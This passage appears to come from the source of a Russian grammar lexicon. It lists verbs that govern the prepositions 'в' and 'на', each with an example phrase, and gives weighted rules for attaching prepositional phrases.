rus_verbs:махнуть{}, // махнуть в Италию rus_verbs:сунуть{}, // сунуть в замочную скважину rus_verbs:явиться{}, // явиться в расположение части rus_verbs:уехать{}, // уехать в город rus_verbs:целовать{}, // целовать в лобик rus_verbs:повести{}, // повести в бой rus_verbs:опуститься{}, // опуститься в кресло rus_verbs:передать{}, // передать в архив rus_verbs:побежать{}, // побежать в школу rus_verbs:стечь{}, // стечь в воду rus_verbs:уходить{}, // уходить добровольцем в армию rus_verbs:привести{}, // привести в дом rus_verbs:шагнуть{}, // шагнуть в неизвестность rus_verbs:собраться{}, // собраться в поход rus_verbs:заглянуть{}, // заглянуть в основу rus_verbs:поспешить{}, // поспешить в церковь rus_verbs:поцеловать{}, // поцеловать в лоб rus_verbs:перейти{}, // перейти в высшую лигу rus_verbs:поверить{}, // поверить в искренность rus_verbs:глянуть{}, // глянуть в оглавление rus_verbs:зайти{}, // зайти в кафетерий rus_verbs:подобрать{}, // подобрать в лесу rus_verbs:проходить{}, // проходить в помещение rus_verbs:глядеть{}, // глядеть в глаза rus_verbs:пригласить{}, // пригласить в театр rus_verbs:позвать{}, // позвать в класс rus_verbs:усесться{}, // усесться в кресло rus_verbs:поступить{}, // поступить в институт rus_verbs:лечь{}, // лечь в постель rus_verbs:поклониться{}, // поклониться в пояс rus_verbs:потянуться{}, // потянуться в лес rus_verbs:колоть{}, // колоть в ягодицу rus_verbs:присесть{}, // присесть в кресло rus_verbs:оглядеться{}, // оглядеться в зеркало rus_verbs:поглядеть{}, // поглядеть в зеркало rus_verbs:превратиться{}, // превратиться в лягушку rus_verbs:принимать{}, // принимать во внимание rus_verbs:звонить{}, // звонить в колокола rus_verbs:привезти{}, // привезти в гостиницу rus_verbs:рухнуть{}, // рухнуть в пропасть rus_verbs:пускать{}, // пускать в дело rus_verbs:отвести{}, // отвести в больницу rus_verbs:сойти{}, // сойти в ад rus_verbs:набрать{}, // набрать в команду rus_verbs:собрать{}, // собрать в кулак rus_verbs:двигаться{}, // двигаться в каюту rus_verbs:падать{}, // падать в область нуля rus_verbs:полезть{}, // полезть в драку rus_verbs:направить{}, // направить в стационар rus_verbs:приводить{}, // приводить в чувство rus_verbs:толкнуть{}, // толкнуть в бок rus_verbs:кинуться{}, // кинуться в драку rus_verbs:ткнуть{}, // ткнуть в глаз rus_verbs:заключить{}, // заключить в объятия rus_verbs:подниматься{}, // подниматься в небо rus_verbs:расти{}, // расти в глубину rus_verbs:налить{}, // налить в кружку rus_verbs:швырнуть{}, // швырнуть в бездну rus_verbs:прыгнуть{}, // прыгнуть в дверь rus_verbs:промолчать{}, // промолчать в тряпочку rus_verbs:садиться{}, // садиться в кресло rus_verbs:лить{}, // лить в кувшин rus_verbs:дослать{}, // дослать деталь в держатель rus_verbs:переслать{}, // переслать в обработчик rus_verbs:удалиться{}, // удалиться в совещательную комнату rus_verbs:разглядывать{}, // разглядывать в бинокль rus_verbs:повесить{}, // повесить в шкаф инфинитив:походить{ вид:соверш }, // походить в институт глагол:походить{ вид:соверш }, деепричастие:походив{}, // прилагательное:походивший{вид:соверш}, rus_verbs:помчаться{}, // помчаться в класс rus_verbs:свалиться{}, // свалиться в яму rus_verbs:сбежать{}, // сбежать в Англию rus_verbs:стрелять{}, // стрелять в цель rus_verbs:обращать{}, // обращать в свою веру rus_verbs:завести{}, // завести в дом rus_verbs:приобрести{}, // приобрести в рассрочку rus_verbs:сбросить{}, // сбросить в яму rus_verbs:устроиться{}, // устроиться в крупную корпорацию rus_verbs:погрузиться{}, // погрузиться в пучину rus_verbs:течь{}, // течь в канаву rus_verbs:произвести{}, // произвести в звание майора rus_verbs:метать{}, // метать в цель rus_verbs:пустить{}, // пустить в дело rus_verbs:полететь{}, // полететь в Европу rus_verbs:пропустить{}, // пропустить в здание rus_verbs:рвануть{}, // рвануть в отпуск rus_verbs:заходить{}, // заходить в каморку rus_verbs:нырнуть{}, // нырнуть в прорубь rus_verbs:рвануться{}, // рвануться в атаку rus_verbs:приподняться{}, // приподняться в воздух rus_verbs:превращаться{}, // превращаться в крупную величину rus_verbs:прокричать{}, // прокричать в ухо rus_verbs:записать{}, // записать в блокнот rus_verbs:забраться{}, // забраться в шкаф rus_verbs:приезжать{}, // приезжать в деревню rus_verbs:продать{}, // продать в рабство rus_verbs:проникнуть{}, // проникнуть в центр rus_verbs:устремиться{}, // устремиться в открытое море rus_verbs:посадить{}, // посадить в кресло rus_verbs:упереться{}, // упереться в пол rus_verbs:ринуться{}, // ринуться в буфет rus_verbs:отдавать{}, // отдавать в кадетское училище rus_verbs:отложить{}, // отложить в долгий ящик rus_verbs:убежать{}, // убежать в приют rus_verbs:оценить{}, // оценить в миллион долларов rus_verbs:поднимать{}, // поднимать в стратосферу rus_verbs:отослать{}, // отослать в квалификационную комиссию rus_verbs:отодвинуть{}, // отодвинуть в дальний угол rus_verbs:торопиться{}, // торопиться в школу rus_verbs:попадаться{}, // попадаться в руки rus_verbs:поразить{}, // поразить в самое сердце rus_verbs:доставить{}, // доставить в квартиру rus_verbs:заслать{}, // заслать в тыл rus_verbs:сослать{}, // сослать в изгнание rus_verbs:запустить{}, // запустить в космос rus_verbs:удариться{}, // удариться в запой rus_verbs:ударяться{}, // ударяться в крайность rus_verbs:шептать{}, // шептать в лицо rus_verbs:уронить{}, // уронить в унитаз rus_verbs:прорычать{}, // прорычать в микрофон rus_verbs:засунуть{}, // засунуть в глотку rus_verbs:плыть{}, // плыть в открытое море rus_verbs:перенести{}, // перенести в духовку rus_verbs:светить{}, // светить в лицо rus_verbs:мчаться{}, // мчаться в ремонт rus_verbs:стукнуть{}, // стукнуть в лоб rus_verbs:обрушиться{}, // обрушиться в котлован rus_verbs:поглядывать{}, // поглядывать в экран rus_verbs:уложить{}, // уложить в кроватку инфинитив:попадать{ вид:несоверш }, // попадать в черный список глагол:попадать{ вид:несоверш }, прилагательное:попадающий{ вид:несоверш }, прилагательное:попадавший{ вид:несоверш }, деепричастие:попадая{}, rus_verbs:провалиться{}, // провалиться в яму rus_verbs:жаловаться{}, // жаловаться в комиссию rus_verbs:опоздать{}, // опоздать в школу rus_verbs:посылать{}, // посылать в парикмахерскую rus_verbs:погнать{}, // погнать в хлев rus_verbs:поступать{}, // поступать в институт rus_verbs:усадить{}, // усадить в кресло rus_verbs:проиграть{}, // проиграть в рулетку rus_verbs:прилететь{}, // прилететь в страну rus_verbs:повалиться{}, // повалиться в траву rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ rus_verbs:лезть{}, // лезть в чужие дела rus_verbs:потащить{}, // потащить в суд rus_verbs:направляться{}, // направляться в порт rus_verbs:поползти{}, // поползти в другую сторону rus_verbs:пуститься{}, // пуститься в пляс rus_verbs:забиться{}, // забиться в нору rus_verbs:залезть{}, // залезть в конуру rus_verbs:сдать{}, // сдать в утиль rus_verbs:тронуться{}, // тронуться в путь rus_verbs:сыграть{}, // сыграть в шахматы rus_verbs:перевернуть{}, // перевернуть в более удобную позу rus_verbs:сжимать{}, // сжимать пальцы в кулак rus_verbs:подтолкнуть{}, // подтолкнуть в бок rus_verbs:отнести{}, // отнести животное в лечебницу rus_verbs:одеться{}, // одеться в зимнюю одежду rus_verbs:плюнуть{}, // плюнуть в колодец rus_verbs:передавать{}, // передавать в прокуратуру rus_verbs:отскочить{}, // отскочить в лоб rus_verbs:призвать{}, // призвать в армию rus_verbs:увезти{}, // увезти в деревню rus_verbs:улечься{}, // улечься в кроватку rus_verbs:отшатнуться{}, // отшатнуться в сторону rus_verbs:ложиться{}, // ложиться в постель rus_verbs:пролететь{}, // пролететь в конец rus_verbs:класть{}, // класть в сейф rus_verbs:доставлять{}, // доставлять в кабинет rus_verbs:приобретать{}, // приобретать в кредит rus_verbs:сводить{}, // сводить в театр rus_verbs:унести{}, // унести в могилу rus_verbs:покатиться{}, // покатиться в яму rus_verbs:сходить{}, // сходить в магазинчик rus_verbs:спустить{}, // спустить в канализацию rus_verbs:проникать{}, // проникать в сердцевину rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд rus_verbs:пожаловаться{}, // пожаловаться в администрацию rus_verbs:стучать{}, // стучать в металлическую дверь rus_verbs:тащить{}, // тащить в ремонт rus_verbs:заглядывать{}, // заглядывать в ответы rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена rus_verbs:увести{}, // увести в следующий кабинет rus_verbs:успевать{}, // успевать в школу rus_verbs:пробраться{}, // пробраться в собачью конуру rus_verbs:подавать{}, // подавать в суд rus_verbs:прибежать{}, // прибежать в конюшню rus_verbs:рассмотреть{}, // рассмотреть в микроскоп rus_verbs:пнуть{}, // пнуть в живот rus_verbs:завернуть{}, // завернуть в декоративную пленку rus_verbs:уезжать{}, // уезжать в деревню rus_verbs:привлекать{}, // привлекать в свои ряды rus_verbs:перебраться{}, // перебраться в прибрежный город rus_verbs:долить{}, // долить в коктейль rus_verbs:палить{}, // палить в нападающих rus_verbs:отобрать{}, // отобрать в коллекцию rus_verbs:улететь{}, // улететь в неизвестность rus_verbs:выглянуть{}, // выглянуть в окно rus_verbs:выглядывать{}, // выглядывать в окно rus_verbs:пробираться{}, // грабитель, пробирающийся в дом инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог глагол:написать{ aux stress="напис^ать"}, прилагательное:написавший{ aux stress="напис^авший"}, rus_verbs:свернуть{}, // свернуть в колечко инфинитив:сползать{ вид:несоверш }, // сползать в овраг глагол:сползать{ вид:несоверш }, прилагательное:сползающий{ вид:несоверш }, прилагательное:сползавший{ вид:несоверш }, rus_verbs:барабанить{}, // барабанить в дверь rus_verbs:дописывать{}, // дописывать в конец rus_verbs:меняться{}, // меняться в лучшую сторону rus_verbs:измениться{}, // измениться в лучшую сторону rus_verbs:изменяться{}, // изменяться в лучшую сторону rus_verbs:вписаться{}, // вписаться в поворот rus_verbs:вписываться{}, // вписываться в повороты rus_verbs:переработать{}, // переработать в удобрение rus_verbs:перерабатывать{}, // перерабатывать в удобрение rus_verbs:уползать{}, // уползать в тень rus_verbs:заползать{}, // заползать в нору rus_verbs:перепрятать{}, // перепрятать в укромное место rus_verbs:заталкивать{}, // заталкивать в вагон rus_verbs:преобразовывать{}, // преобразовывать в список инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список глагол:конвертировать{ вид:несоверш }, инфинитив:конвертировать{ вид:соверш }, глагол:конвертировать{ вид:соверш }, деепричастие:конвертировав{}, деепричастие:конвертируя{}, rus_verbs:изорвать{}, // Он изорвал газету в клочки. rus_verbs:выходить{}, // Окна выходят в сад. rus_verbs:говорить{}, // Он говорил в защиту своего отца. rus_verbs:вырастать{}, // Он вырастает в большого художника. rus_verbs:вывести{}, // Он вывел детей в сад. // инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш }, // глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли. // прилагательное:раненый{}, // Он был ранен в левую руку. // прилагательное:одетый{}, // Он был одет в толстое осеннее пальто. rus_verbs:бухнуться{}, // Он бухнулся в воду. rus_verbs:склонять{}, // склонять защиту в свою пользу rus_verbs:впиться{}, // Пиявка впилась в тело. rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы rus_verbs:сохранять{}, // сохранить данные в файл rus_verbs:собирать{}, // собирать игрушки в ящик rus_verbs:упаковывать{}, // упаковывать вещи в чемодан rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:стрельнуть{}, // стрельни в толпу! rus_verbs:пулять{}, // пуляй в толпу rus_verbs:пульнуть{}, // пульни в толпу rus_verbs:становиться{}, // Становитесь в очередь. rus_verbs:вписать{}, // Юля вписала свое имя в список. rus_verbs:вписывать{}, // Мы вписывали свои имена в список прилагательное:видный{}, // Планета Марс видна в обычный бинокль rus_verbs:пойти{}, // Девочка рано пошла в школу rus_verbs:отойти{}, // Эти обычаи отошли в историю. rus_verbs:бить{}, // Холодный ветер бил ему в лицо. rus_verbs:входить{}, // Это входит в его обязанности. rus_verbs:принять{}, // меня приняли в пионеры rus_verbs:уйти{}, // Правительство РФ ушло в отставку rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году. rus_verbs:посвятить{}, // Я посвятил друга в свою тайну. инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза. rus_verbs:идти{}, // Я иду гулять в парк. rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт. rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей. rus_verbs:везти{}, // Учитель везёт детей в лагерь. rus_verbs:качать{}, // Судно качает во все стороны. rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами. rus_verbs:связать{}, // Свяжите свои вещи в узелок. rus_verbs:пронести{}, // Пронесите стол в дверь. rus_verbs:вынести{}, // Надо вынести примечания в конец. rus_verbs:устроить{}, // Она устроила сына в школу. rus_verbs:угодить{}, // Она угодила головой в дверь. rus_verbs:отвернуться{}, // Она резко отвернулась в сторону. rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль. rus_verbs:обратить{}, // Война обратила город в развалины. rus_verbs:сойтись{}, // Мы сошлись в школьные годы. rus_verbs:приехать{}, // Мы приехали в положенный час. rus_verbs:встать{}, // Дети встали в круг. rus_verbs:впасть{}, // Из-за болезни он впал в нужду. rus_verbs:придти{}, // придти в упадок rus_verbs:заявить{}, // Надо заявить в милицию о краже. rus_verbs:заявлять{}, // заявлять в полицию rus_verbs:ехать{}, // Мы будем ехать в Орёл rus_verbs:окрашиваться{}, // окрашиваться в красный цвет rus_verbs:решить{}, // Дело решено в пользу истца. rus_verbs:сесть{}, // Она села в кресло rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало. rus_verbs:влезать{}, // он влезает в мою квартирку rus_verbs:попасться{}, // в мою ловушку попалась мышь rus_verbs:лететь{}, // Мы летим в Орёл ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень ГЛ_ИНФ(взять), // Коля взял в руку камень ГЛ_ИНФ(поехать), // поехать в круиз ГЛ_ИНФ(подать), // подать в отставку инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море ГЛ_ИНФ(постучать) // постучать в дверь } // Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems fact гл_предл { if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } } then return true } #endregion Винительный // Все остальные варианты по умолчанию запрещаем. fact гл_предл { if context { * предлог:в{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:мест } } then return false,-3 } fact гл_предл { if context { * предлог:в{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:в{} * } then return false,-5 } #endregion Предлог_В #region Предлог_НА // ------------------- С ПРЕДЛОГОМ 'НА' --------------------------- #region ПРЕДЛОЖНЫЙ // НА+предложный падеж: // ЛЕЖАТЬ НА СТОЛЕ #region VerbList wordentry_set Гл_НА_Предл= { rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ) rus_verbs:ПРОСТУПИТЬ{}, // rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ) rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ) rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив) rus_verbs:ЗАМИРАТЬ{}, // rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ) rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ) rus_verbs:УПОЛЗАТЬ{}, // rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ) rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ) rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ) rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ) rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ) rus_verbs:искриться{}, rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ) rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ) rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ) rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ) rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ) rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ) rus_verbs:отвести{}, // отвести душу на людях rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра rus_verbs:сойтись{}, rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ) rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ) rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ) глагол:ДОСТИЧЬ{}, инфинитив:ДОСТИЧЬ{}, rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте rus_verbs:РАСКЛАДЫВАТЬ{}, rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ) rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ) rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ) rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ) rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ) rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ) rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ) rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта rus_verbs:подпрыгивать{}, rus_verbs:высветиться{}, // на компьютере высветится твоя подпись rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА) rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл) rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл) rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА) rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл) rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл) rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл) rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл) rus_verbs:ОТТОЧИТЬ{}, rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл) rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА) rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл) инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл) глагол:НАХОДИТЬСЯ{ вид:несоверш }, прилагательное:находившийся{ вид:несоверш }, прилагательное:находящийся{ вид:несоверш }, деепричастие:находясь{}, rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл) rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА) rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА) rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл) rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА) rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл) rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА) rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА) rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА) rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА) rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА) rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА) rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА) rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл) rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА) rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА) rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА) rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА) rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА) rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА) rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА) rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл) rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл) rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на) rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к) rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на) глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте) деепричастие:вычитав{}, rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на) rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере rus_verbs:развалиться{}, // Антонио развалился на диване rus_verbs:улечься{}, // Антонио улегся на полу rus_verbs:зарубить{}, // Заруби себе на носу. rus_verbs:ценить{}, // Его ценят на заводе. rus_verbs:вернуться{}, // Отец вернулся на закате. rus_verbs:шить{}, // Вы умеете шить на машинке? rus_verbs:бить{}, // Скот бьют на бойне. rus_verbs:выехать{}, // Мы выехали на рассвете. rus_verbs:валяться{}, // На полу валяется бумага. rus_verbs:разложить{}, // она разложила полотенце на песке rus_verbs:заниматься{}, // я занимаюсь на тренажере rus_verbs:позаниматься{}, rus_verbs:порхать{}, // порхать на лугу rus_verbs:пресекать{}, // пресекать на корню rus_verbs:изъясняться{}, // изъясняться на непонятном языке rus_verbs:развесить{}, // развесить на столбах rus_verbs:обрасти{}, // обрасти на южной части rus_verbs:откладываться{}, // откладываться на стенках артерий rus_verbs:уносить{}, // уносить на носилках rus_verbs:проплыть{}, // проплыть на плоту rus_verbs:подъезжать{}, // подъезжать на повозках rus_verbs:пульсировать{}, // пульсировать на лбу rus_verbs:рассесться{}, // птицы расселись на ветках rus_verbs:застопориться{}, // застопориться на первом пункте rus_verbs:изловить{}, // изловить на окраинах rus_verbs:покататься{}, // покататься на машинках rus_verbs:залопотать{}, // залопотать на неизвестном языке rus_verbs:растягивать{}, // растягивать на станке rus_verbs:поделывать{}, // поделывать на пляже rus_verbs:подстеречь{}, // подстеречь на площадке rus_verbs:проектировать{}, // проектировать на компьютере rus_verbs:притулиться{}, // притулиться на кушетке rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище rus_verbs:пострелять{}, // пострелять на испытательном полигоне rus_verbs:засиживаться{}, // засиживаться на работе rus_verbs:нежиться{}, // нежиться на солнышке rus_verbs:притомиться{}, // притомиться на рабочем месте rus_verbs:поселяться{}, // поселяться на чердаке rus_verbs:потягиваться{}, // потягиваться на земле rus_verbs:отлеживаться{}, // отлеживаться на койке rus_verbs:протаранить{}, // протаранить на танке rus_verbs:гарцевать{}, // гарцевать на коне rus_verbs:облупиться{}, // облупиться на носу rus_verbs:оговорить{}, // оговорить на собеседовании rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте rus_verbs:отпечатать{}, // отпечатать на картоне rus_verbs:сэкономить{}, // сэкономить на мелочах rus_verbs:покатать{}, // покатать на пони rus_verbs:колесить{}, // колесить на старой машине rus_verbs:понастроить{}, // понастроить на участках rus_verbs:поджарить{}, // поджарить на костре rus_verbs:узнаваться{}, // узнаваться на фотографии rus_verbs:отощать{}, // отощать на казенных харчах rus_verbs:редеть{}, // редеть на макушке rus_verbs:оглашать{}, // оглашать на общем собрании rus_verbs:лопотать{}, // лопотать на иврите rus_verbs:пригреть{}, // пригреть на груди rus_verbs:консультироваться{}, // консультироваться на форуме rus_verbs:приноситься{}, // приноситься на одежде rus_verbs:сушиться{}, // сушиться на балконе rus_verbs:наследить{}, // наследить на полу rus_verbs:нагреться{}, // нагреться на солнце rus_verbs:рыбачить{}, // рыбачить на озере rus_verbs:прокатить{}, // прокатить на выборах rus_verbs:запинаться{}, // запинаться на ровном месте rus_verbs:отрубиться{}, // отрубиться на мягкой подушке rus_verbs:заморозить{}, // заморозить на улице rus_verbs:промерзнуть{}, // промерзнуть на открытом воздухе rus_verbs:просохнуть{}, // просохнуть на батарее rus_verbs:развозить{}, // развозить на велосипеде rus_verbs:прикорнуть{}, // прикорнуть на диванчике rus_verbs:отпечататься{}, // отпечататься на коже rus_verbs:выявлять{}, // выявлять на таможне rus_verbs:расставлять{}, // расставлять на башнях rus_verbs:прокрутить{}, // прокрутить на пальце rus_verbs:умываться{}, // умываться на улице rus_verbs:пересказывать{}, // пересказывать на страницах романа rus_verbs:удалять{}, // удалять на пуховике rus_verbs:хозяйничать{}, // хозяйничать на складе rus_verbs:оперировать{}, // оперировать на поле боя rus_verbs:поносить{}, // поносить на голове rus_verbs:замурлыкать{}, // замурлыкать на коленях rus_verbs:передвигать{}, // передвигать на тележке rus_verbs:прочертить{}, // прочертить на 